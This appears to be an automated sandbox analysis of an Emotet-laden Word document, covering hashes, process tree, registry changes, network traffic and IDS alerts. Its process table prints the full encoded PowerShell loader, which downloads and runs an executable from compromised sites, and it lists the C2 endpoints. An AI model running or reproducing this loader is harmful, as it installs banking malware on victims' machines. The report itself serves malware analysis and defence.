| File name: | Mail_WN736.doc |
| Full analysis: | https://app.any.run/tasks/e575ac5b-b715-4bb3-a609-4cedb32fcbcb |
| Verdict: | Malicious activity |
| Threats: | Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns. |
| Analysis date: | October 09, 2019, 14:06:53 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/msword |
| File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Operative, Subject: turquoise, Author: Ronaldo Streich, Keywords: Engineer, Comments: mindshare, Template: Normal.dotm, Last Saved By: Rosario Hansen, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Oct 8 22:38:00 2019, Last Saved Time/Date: Tue Oct 8 22:38:00 2019, Number of Pages: 1, Number of Words: 29, Number of Characters: 168, Security: 0 |
| MD5: | 2703B0E042255745B734BEB62D919AB0 |
| SHA1: | 1AB365C77AB7CDD178A36976BBB008731D82D76A |
| SHA256: | 6D679A91EC98F97D1F32742549B9D0212B2AA5CADF0CA0D08246F34A289F6E04 |
| SSDEEP: | 6144:7GdugIAAs3MXPxTqfVg6qYn4JH1O5DeWje6:7GdugIW3WxTqfmNNJH0FeWj |
MALICIOUS
Application was dropped or rewritten from another process
- 852.exe (PID: 3116)
- 852.exe (PID: 4000)
- msptermsizes.exe (PID: 1012)
- msptermsizes.exe (PID: 708)
Emotet process was detected
- 852.exe (PID: 4000)
Connects to CnC server
- msptermsizes.exe (PID: 708)
EMOTET was detected
- msptermsizes.exe (PID: 708)
Changes the autorun value in the registry
- msptermsizes.exe (PID: 708)
SUSPICIOUS
Executed via WMI
- powershell.exe (PID: 2936)
PowerShell script executed
- powershell.exe (PID: 2936)
Creates files in the user directory
- powershell.exe (PID: 2936)
Starts itself from another location
- 852.exe (PID: 4000)
Executable content was dropped or overwritten
- powershell.exe (PID: 2936)
- 852.exe (PID: 4000)
Application launched itself
- 852.exe (PID: 3116)
INFO
Creates files in the user directory
- WINWORD.EXE (PID: 3040)
Reads Microsoft Office registry keys
- WINWORD.EXE (PID: 3040)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
TRiD
| .doc | | | Microsoft Word document (54.2) |
|---|---|---|
| .doc | | | Microsoft Word document (old ver.) (32.2) |
EXIF
FlashPix
| Title: | Operative |
|---|---|
| Subject: | turquoise |
| Author: | Ronaldo Streich |
| Keywords: | Engineer |
| Comments: | mindshare |
| Template: | Normal.dotm |
| LastModifiedBy: | Rosario Hansen |
| RevisionNumber: | 1 |
| Software: | Microsoft Office Word |
| TotalEditTime: | - |
| CreateDate: | 2019:10:08 21:38:00 |
| ModifyDate: | 2019:10:08 21:38:00 |
| Pages: | 1 |
| Words: | 29 |
| Characters: | 168 |
| Security: | None |
| CodePage: | Windows Latin 1 (Western European) |
| Company: | Wisozk Group |
| Lines: | 1 |
| Paragraphs: | 1 |
| CharCountWithSpaces: | 196 |
| AppVersion: | 16 |
| ScaleCrop: | No |
| LinksUpToDate: | No |
| SharedDoc: | No |
| HyperlinksChanged: | No |
| TitleOfParts: | - |
| HeadingPairs: |
|
| Manager: | Erdman |
| CompObjUserTypeLen: | 32 |
| CompObjUserType: | Microsoft Word 97-2003 Document |
Total processes
46
Monitored processes
6
Malicious processes
5
Suspicious processes
0
Behavior graph
Click at the process to see the details
Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 708 | --f91b2738 | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | msptermsizes.exe | ||||||||||||
User: admin Company: Monkey Head Software Integrity Level: MEDIUM Description: Monkey Head Media Stream Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 1012 | "C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe" | C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe | — | 852.exe | |||||||||||
User: admin Company: Monkey Head Software Integrity Level: MEDIUM Description: Monkey Head Media Stream Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 2936 | powershell -enco PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJAB4ADEAYgAzAHgAMQA3ADkANgBjADMAPQAnAHgAYwAyADcANQAyADEANQAwADcANQAwADAAJwA7ACQAeAA4ADAAOAB4ADAAOQAwAHgAYwAwAGMAYwAgAD0AIAAnADgANQAyACcAOwAkAGMANQBjADgANwAwADgAYgA4ADcANgA4AD0AJwBiADgAMAAwADYAMAAwAGMAOQAwADQAJwA7ACQAYgA4AGIAOAA2ADgAMwAyADAAeAAwAGMAeAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAeAA4ADAAOAB4ADAAOQAwAHgAYwAwAGMAYwArACcALgBlAHgAZQAnADsAJABiADgANQAxADQANgBjADAAOQAxADIAMQA9ACcAeAAwADAAOQA2ADYANgBiADAAMAAwADIAJwA7ACQAeAAxADgAMAB4ADAANQA5AGMAMwBjAGMANwA9AC4AKAAnAG4AZQB3ACcAKwAnAC0AbwBiAGoAZQAnACsAJwBjAHQAJwApACAATgBlAFQALgBXAGUAYgBDAGwASQBlAE4AVAA7ACQAeAB4ADMAMAA1ADcAMQA3ADAAOQAzAD0AJwBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBzAGsAdQBsAGwAYgBhAGwAaQAuAGMAbwBtAC8AYgBrAC4AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMAMQAxAC8AQABoAHQAdABwADoALwAvAGMAaABlAGUAbQBhAHQAcgBhAG4AcwB4AHAAcgBlAHMAcwBpAG4AYwAuAGMAbwBtAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8AcwBoAG0ANQBkAGoAbAA0ADYAMwA4AC8AQABoAHQAdABwAHMAOgAvAC8AYQBjAGUAbwBuAHQAaABlAHIAbwBvAGYALgBjAG8AbQAvAGkAMABvAG4AaQAvAGcAegB4ADUANQA1ADAALwBAAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBkAGcAeABiAHkAZABhAG0AbwBuAGkAcQB1AGUALgBjAG8AbQAvAGYAcgA0AGoAdAAvAGMAYQBjAGgAZQAvAGkAbgBpAHQALgB1AHAAcABlAHIALwBoADgAOQAxADQALwBAAGgAdAB0AHAAcwA6AC8ALwBhAGEAcABsAGkAbgBkAGkAYQAuAGMAbwBtAC8AaABhAHIAZABlAHIALgBpAG4AYwAvAG8AZAB3ADgAeAB0AGgAOQA2AC8AJwAuACIAcwBgAHAAbABJAFQAIgAoACcAQAAnACkAOwAkAGIAOQAxADIAMAAzAHgANAAxADMAYgBjADAAPQAnAGIAOAA4AHgANAA4ADIAMABjADAAMQAwADYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAGMAMQA4ADMAYgA1ADgAYgB4ADUAYwA3ADIAIABpAG4AIAAkAHgAeAAzADAANQA3ADEANwAwADkAMwApAHsAdAByAHkAewAkAHgAMQA4ADAAeAAwADUAOQBjADMAYwBjADcALgAiAGQAYABPAFcATgBMAE8AYQBgAGQARgBgAEkAbABlACIAKAAkAGMAMQA4ADMAYgA1ADgAYgB4ADUAYwA3ADIALAAgACQAYgA4AGIAOAA2ADgAMwAyADAAeAAwAGMAeAApADsAJAB4AGIAMwA1ADEAMAAwAHgAMwBjADUAMAA9ACcAYgAzADkAMAAyADIAMgAyADEAMAB4ADIAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABiADgAYgA4ADYAOAAzADIAMAB4ADAAYwB4ACkALgAiAGwAYABlAG4ARwBUAEgAIgAgAC0AZwBlACAAMwA4ADUAMgA3ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABBAGAAUgBUACIAKAAkAGIAOABiADgANgA4ADMAMgAwAHgAMABjAHgAKQA7ACQAYgA0ADUANgAwAGIAeAAwADIAMgAwADUAPQAnAGMAMAAwADcAMgA2ADUANQAwADEANwAxACcAOwBiAHIAZQBhAGsAOwAkAGIANQAwAHgAMAA3ADkAOQAwADIAMAA0ADcAPQAnAGMANQAwADcAMAAzADAAMQA5ADgANgAwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAHgAMAA2AGIAYwAzADAAMwAwADYAYgA3AD0AJwBiADgAMAAwADAAeAAxADAAMAA3AGIANgA4ACcA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
| |||||||||||||||
| 3040 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Mail_WN736.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000 Modules
| |||||||||||||||
| 3116 | "C:\Users\admin\852.exe" | C:\Users\admin\852.exe | — | powershell.exe | |||||||||||
User: admin Company: Monkey Head Software Integrity Level: MEDIUM Description: Monkey Head Media Stream Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
| 4000 | --517807f3 | C:\Users\admin\852.exe | 852.exe | ||||||||||||
User: admin Company: Monkey Head Software Integrity Level: MEDIUM Description: Monkey Head Media Stream Exit code: 0 Version: 1, 0, 0, 1 Modules
| |||||||||||||||
Total events
1 990
Read events
1 473
Write events
494
Delete events
23
Modification events
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | o4= |
Value: 6F343D00E00B0000010000000000000000000000 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: Off | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages |
| Operation: | write | Name: | 1033 |
Value: On | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | WORDFiles |
Value: 1330184241 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1330184355 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000000000000F01FEC\Usage |
| Operation: | write | Name: | ProductFiles |
Value: 1330184356 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word |
| Operation: | write | Name: | MTTT |
Value: E00B0000DE0B24D8AA7ED50100000000 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | write | Name: | w8= |
Value: 77383D00E00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems |
| Operation: | delete value | Name: | w8= |
Value: 77383D00E00B000004000000000000008C00000001000000840000003E0043003A005C00550073006500720073005C00610064006D0069006E005C0041007000700044006100740061005C0052006F0061006D0069006E0067005C004D006900630072006F0073006F00660074005C00540065006D0070006C0061007400650073005C004E006F0072006D0061006C002E0064006F0074006D00000000000000 | |||
| (PID) Process: | (3040) WINWORD.EXE | Key: | HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap |
| Operation: | write | Name: | UNCAsIntranet |
Value: 0 | |||
Executable files
2
Suspicious files
2
Text files
2
Unknown types
17
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVR506F.tmp.cvr | — | |
MD5:— | SHA256:— | |||
| 2936 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\DX8FN08KYXW2VO3LISJW.temp | — | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dat | text | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1B1C24AE.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\2C0930D7.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A7807813.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\Mail_WN736.doc.LNK | lnk | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AAEC24EC.wmf | wmf | |
MD5:— | SHA256:— | |||
| 3040 | WINWORD.EXE | C:\Users\admin\Desktop\~$il_WN736.doc | pgc | |
MD5:— | SHA256:— | |||
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
6
TCP/UDP connections
70
DNS requests
65
Threats
26
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
708 | msptermsizes.exe | GET | 200 | 37.187.5.82:8080 | http://37.187.5.82:8080/whoami.php | FR | text | 13 b | malicious |
708 | msptermsizes.exe | POST | 200 | 91.83.93.105:8080 | http://91.83.93.105:8080/ban/loadan/ringin/merge/ | HU | binary | 1.46 Mb | malicious |
708 | msptermsizes.exe | POST | — | 37.187.5.82:8080 | http://37.187.5.82:8080/glitch/stubs/ringin/merge/ | FR | — | — | malicious |
708 | msptermsizes.exe | GET | 200 | 37.187.5.82:8080 | http://37.187.5.82:8080/whoami.php | FR | text | 13 b | malicious |
708 | msptermsizes.exe | POST | 200 | 91.83.93.105:8080 | http://91.83.93.105:8080/guids/stubs/ringin/ | HU | binary | 148 b | malicious |
708 | msptermsizes.exe | POST | 200 | 37.187.5.82:8080 | http://37.187.5.82:8080/between/stubs/ringin/merge/ | FR | binary | 164 Kb | malicious |
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
708 | msptermsizes.exe | 212.227.15.151:25 | imap.1and1.es | 1&1 Internet SE | DE | unknown |
2936 | powershell.exe | 148.72.197.244:443 | www.skullbali.com | — | US | unknown |
708 | msptermsizes.exe | 91.83.93.105:8080 | — | Invitech Megoldasok Zrt. | HU | malicious |
2936 | powershell.exe | 166.62.10.52:80 | cheematransxpressinc.com | GoDaddy.com, LLC | US | suspicious |
708 | msptermsizes.exe | 108.167.149.250:587 | mail.weekly.cl | CyrusOne LLC | US | unknown |
708 | msptermsizes.exe | 202.59.74.231:25 | mail.nishatmills.com | Autonomous System Number for Nexlinx | PK | unknown |
708 | msptermsizes.exe | 107.14.166.63:587 | pop-server.triad.rr.com | Time Warner Cable Internet LLC | US | unknown |
708 | msptermsizes.exe | 191.252.112.195:587 | smtp.pinakotheke.com.br | Locaweb Serviços de Internet S/A | BR | unknown |
708 | msptermsizes.exe | 201.148.106.16:465 | invernalia104127.dedicados.cl | Gtd Internet S.A. | CL | unknown |
708 | msptermsizes.exe | 207.210.229.102:25 | mail.colegiovermont.com | Colo4, LLC | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
www.skullbali.com |
| unknown |
cheematransxpressinc.com |
| suspicious |
smtp.androckhardware.com |
| malicious |
invernalia104127.dedicados.cl |
| unknown |
cancun.venred.com |
| unknown |
pop.orange-business.com |
| shared |
smtp.pinakotheke.com.br |
| unknown |
imap.1and1.es |
| unknown |
smtp.orange-business.com |
| unknown |
smtp.vancongthanh.vn |
| unknown |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2936 | powershell.exe | Potential Corporate Privacy Violation | ET POLICY PE EXE or DLL Windows file download HTTP |
2936 | powershell.exe | Potentially Bad Traffic | ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download |
2936 | powershell.exe | Misc activity | ET INFO EXE - Served Attached HTTP |
708 | msptermsizes.exe | A Network Trojan was detected | AV TROJAN W32/Emotet CnC Checkin (Apr 2019) |
708 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
708 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
708 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
708 | msptermsizes.exe | A Network Trojan was detected | MALWARE [PTsecurity] Feodo/Emotet |
1060 | svchost.exe | Potentially Bad Traffic | ET DNS Query for .cc TLD |
708 | msptermsizes.exe | Generic Protocol Command Decode | SURICATA Applayer Detect protocol only one direction |
8 ETPRO signatures available at the full report